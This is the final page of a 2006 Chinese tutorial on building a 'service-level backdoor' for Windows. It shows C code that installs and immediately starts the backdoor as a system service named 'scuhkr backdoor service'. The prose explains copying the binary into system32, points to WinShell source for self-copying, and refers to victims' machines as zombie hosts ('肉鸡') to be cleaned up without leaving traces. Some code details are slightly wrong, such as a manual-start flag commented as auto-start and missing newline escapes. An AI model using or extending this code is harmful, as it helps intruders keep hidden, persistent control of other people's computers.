学院首页>安全防御>病毒防治>服务级后门自己做

服务级后门自己做

作者: 来源: 添加时间:2006-5-23 8:34:38
if ((hService=CreateService(hSCManager,  //指向服务控制管理数据库的句柄
  "scuhkr", //服务名
  "scuhkr backdoor service", //显示用的服务名
  SERVICE_ALL_ACCESS, //所有访问权限
  SERVICE_WIN32_OWN_PROCESS, //私有类型
  SERVICE_DEMAND_START, //自启动类型  SERVICE_ERROR_IGNORE, //忽略错误处理
  szExePath,  //应用程序路径
  NULL,
  NULL,
  NULL,
  NULL,
  NULL)) == NULL)
{
  printf("%dn", GetLastError());
return;
}

//让服务马上运行。万一是个服务器,10天半个月不重启,岂不是没搞头?
if(StartService(hService, 0, NULL) == FALSE)
{
  printf("StartService failed: %dn", GetLastError());
  return;
}
printf(“Install service successfullyn ”);
CloseServiceHandle(hService);  //关闭服务句柄
CloseServiceHandle(hSCManager); //关闭服务管理数据库句柄
}

 Ok,一切都写完了,我们在本机上测试一下,先把前面的服务主体程序Scuhkr.exe拷贝到系统目录system32下(如果需要程序自动实现自拷贝的,可以通过CopyFile()来实现,具体怎么做偶就不讲了,相信聪明的你三下五除二就能搞定,确实不行就去找WinShell的源代码来看看吧),然后执行InstallServcie.exe。为了看我们是否安装成功,有两个办法,一是通过控制面板->管理工具->服务,二是利用控制台下系统自带的Sc.exe工具,比如:“sc.exe qc rpcss”,如图2所示。看到安装服务的信息了?是不是很简单呢!


图2

  至于以后不想再要这个MM的肉鸡了,又不想留下把柄什么的,要删除服务怎么办?读者就自己当做练习吧。还有一点要说的是,本人也是临时抱佛脚,狂啃了几天关于NT系统服务方面的编程,如果有什么不对,欢迎大家批评指正!
第 4 页,共 4 页 [1] [2] [3] [4]
站内搜索